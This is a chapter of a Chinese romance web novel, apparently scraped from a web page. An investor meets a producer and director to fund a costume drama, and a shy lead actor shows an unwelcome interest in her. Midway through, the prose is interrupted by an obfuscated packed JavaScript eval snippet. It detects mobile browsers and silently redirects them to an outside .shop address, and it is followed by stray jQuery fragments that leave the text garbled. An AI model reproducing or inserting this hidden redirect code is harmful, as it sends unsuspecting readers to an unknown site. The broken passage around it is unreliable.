明筱打来电话的时候,明惜正准备出门。
继上次庆功宴明惜离场后,制片人三番五次发消息道歉,提出请客赔罪,都被明惜不冷不热地回绝了。
制片人无法,只能迂回找到许夏旋,请她帮忙在中间调和。
刚开始许夏旋也没应下,结果过了两天,他们把新的剧本发给了二人,强调自己诚心邀请二人合作,这次是他的疏忽,没有提前要求和约束剧组的人,保证不会再发生下一次。
可以说,这个剧本帮了他大忙。
剧本应该是编剧修改后的版本,真的按照她提的建议方向更改的,拍出来应该效果还不错。
其实上一本剧情被编剧捏合得很好,只是有些剧情单独拎出来可能有点狗血,实际上放到剧里不明显。
这本反而连之前的瑕疵都没有了,亮点很多。
经过许夏旋提醒,明惜也看了剧本,才答应制片人的道歉饭。
明惜坐在换鞋凳上,接通电话。
明筱先说话:“惜惜,我这周末就要飞去F国了,去之前我们一起吃顿饭?”
“可以啊。”明惜把脚逐一踩进高跟鞋里,“那就后天吧,你可以吗?”
后天许夏旋也要去上工了,正好送完许夏旋去找明筱。
“没问题。”明筱说,“我让助理订个餐厅,晚上的?”
明惜:“不用,我后天中午直接去公司,在公司附近找家店就好。”
和明筱浅浅说了两句,明惜就出门了。
她到店里的时候,许夏旋他们已经到了。
制片人去店门口接她到包厢,一路道歉说了不少好话,明惜也顺着台阶下来了。
这次和他一起来的除了编剧,还有男女主演,她落座点头,算是打了招呼。
编剧把纸质剧本递给她:“明总,许导,这是我修改后的剧本,二位看看这次符合预期吗?”
许夏旋:“我们来之前看过了,这次来主要是商量合作的事情。”
明惜也点了下头。
制片人问:“二位有什么要求都可以提出来,我们沟通一下。”
许夏旋干脆道:“男女主演定了我没意见,但是配角我要自己选,不能有人干涉。”
“许导这个可以。”制片人看向明惜,“那明总您这边呢?”
明惜:“你们都是专业的,按你们的要求来就行。”
作为一个投资人,明惜身上具备最关键的优点,就是外行不去乱指导内行。
专业的事情交给专业的人,自己只负责出钱和收钱,这对一部剧的成功与否影响程度极大。
制片人提到这次的戏是古装,对资金的需求会大一些,除了明惜之外,他还拉了另外两个投资人入伙。一阵铺垫,问到明惜这次打算投资多少。
上部剧投资的六百万最后回到明惜手里的时候翻了四番,明惜说可以把这两千多万投进去,制片人立刻喜笑颜开地和明惜碰杯。
看来这个数字超出了他的预期。
许夏旋凑到她耳边说:“他这个反应,估计没少从另两个投资人手里骗。”
饭局上,编剧和许夏旋聊起创作的想法,越聊越投入,许夏旋干脆坐到编剧旁边去了。
男主演和她换了位置,坐在明惜右手边。
这个男演员比较内向青涩,对上明惜的目光就露出腼腆的笑容,配上这张脸,很像以前学校里成绩很好的学霸。
明惜:“你的性格和剧里男主的性格反差挺大的,你演技挺好的,是科班出身是吗?”
男演员叫方卓,听到明惜夸奖,他揉了揉头发,谦虚道。
“明总您过奖了,对,我是电影学院毕业的。”
“下部剧也是和你反差很大的人设。”明惜问,“有很多粉丝喜欢你吧?”
上部剧是阴湿男鬼类型的,下部剧是张扬热烈的少年类型,和他本人反差感都很强。
方卓微微脸红:“还好,他们是喜欢角色,我没有什么可喜欢的。”
这话说得有种自卑感,引得明惜多看了他一眼:“怎么会?有反差感更有新鲜感,肯定会有人喜欢你的。”
她说这话的时候神色认真,晶亮的眼里仿佛都是面前的人。
方卓的脸更红了,连忙端杯敬酒:“谢谢明总安慰我。”
这会儿明惜还没在意,以为他就是被夸的害羞。
等到席间,明惜的目光落在哪道菜上,不等她按下按钮暂停,方卓就抢了先。她想要盛汤,方卓就主动拿起她的碗去盛。
献殷勤得十分明显,制片人看见了,满意地点点头,还夸了他一句:“做得不错。”
如果他性格外向市侩些就算了,这样的行径姑且可以算是有眼色,可他并不是那种性格。
明惜分明看出,他的注意力都倾注在她身上,目光随着她移动,才会这么周到及时。
再夹菜时,明惜有意将左手无名指上的戒指露出,本意是提醒方卓她已经结婚,没想到对方视若无睹。
明惜转了转手上的戒指,在方卓又一次问她喜欢吃哪道菜的时候,状似不经意提起:“你有女朋友了吗?”
方卓嘴角的笑容愈发明显:“没有,明总,我没交过女朋友。”
“是因为很早就定了要进演艺圈的目标,所以没时间交女朋友吗?”不等他回答,明惜就自顾自地接了下半句,“我先生也是这样,结婚前一段恋爱都没谈过。”
她刻意放缓了语速,听起来很温柔。
对她先生的。
方卓唇角扬起的弧度落下些:“明总和您先生的感情很好吧?”
“很好。”明惜支着头看他,“我们很相爱,也很合适。”
方卓笑容勉强,很是落寞。
明惜拿起水杯喝了口水,心里松了口气。
原以为他会知难而退,刚动点心思就被砍断了应该很快就能想通调理好,没想到他的目光仍然放在她身上,和之前相比几乎没有收敛,只是变得忧郁不少。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632326|206421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>明惜明白了,他倒也没想让她出轨和他真的发展出什么关系,只是喜欢她、不自觉地关注她,自己都未必知道他的眼神态度有多明显。
如果明惜不喜欢对方,那么他的喜欢对明惜来说就是一种负累。
从她发现开始,就会减少和他的接触,以免让他觉得自己有希望。
她一向是这样做的。
随后,明惜几乎没再和他对视说话,而是转向旁边的制片人聊天。
但即便如此,那种被人注视着的感觉依然明显。
如果他表现得正常一些,没被明惜发现也就算了,她看不到就不会注意,也不会有心理作用的加剧。
但是明惜知道这是不可能的,被人喜欢追求的种种经验让她得出一个坚信不疑的结论。
那就是无论什么性格多大年纪,只要是男人,喜欢上人之后都不会隐藏,全都是一副Allin的猛烈架势,来的快去的也快。
明惜并不享受这种感觉,对方给了她坦诚热烈的喜欢,她还不起,心里还会产生一种越欠越多的感觉。
她给许夏旋发消息,叫她把位置换回来。
拉开距离之后,明惜才勉强觉得好了一些。
等这顿饭吃完散场,回去的路上,许夏旋说起这件事还在不解。
“你怎么这么敏锐?我看他那样还以为他是受了制片人的指示,你和我说了之后我才发现不对劲。”
明惜把座椅放倒,躺在上面:“很明显,你们这种钝感人不会懂的。”
许夏旋为自己辩白:“我现在也没有那么钝了好吧?只是和你这种天生的敏锐度还是没法比。”
她摇摇头:“这小孩也是,明知道不可能还不藏着点,这下连再见你一面都没可能了,也不知道他是什么感受。”
这种情况下,明惜会避开可能和他碰面的所有场合。天…到时候明惜岂不是连探她班都不可能了?
“那就不是我能管的了。”
明惜转了转手上的戒指,若有所思。
许夏旋问她:“想什么呢?”
明惜:“我在想,林淮序那天突然让我戴戒指,还说不戴婚戒给他带来了麻烦,估计也是类似今天的情况吧。”
许夏旋:“他遇到这种情况不应该他自己戴戒指吗?他戴了吗?”
“戴了。”明惜放下手,“他要是不戴就好了,正好让我有理由也不戴。”
让她戴戒指的时候林淮序就已经戴上了。
“但是他这种情况,估计戴婚戒也挡不住什么吧?”许夏旋猜测,“顶多能防住圈子里的人,点到为止,不至于闹出笑话。”
明惜没说话,她猝然意识到,自己最近和许夏旋提及林淮序的次数越来越多了。
这就是结婚的弊端,她和林淮序天天处于同一屋檐下,对方的存在感越来越强,让她几乎避无可避。
好在林淮序高冷得不行,两人之间才能维持平衡的现状。
总体来说,这桩联姻还算舒服。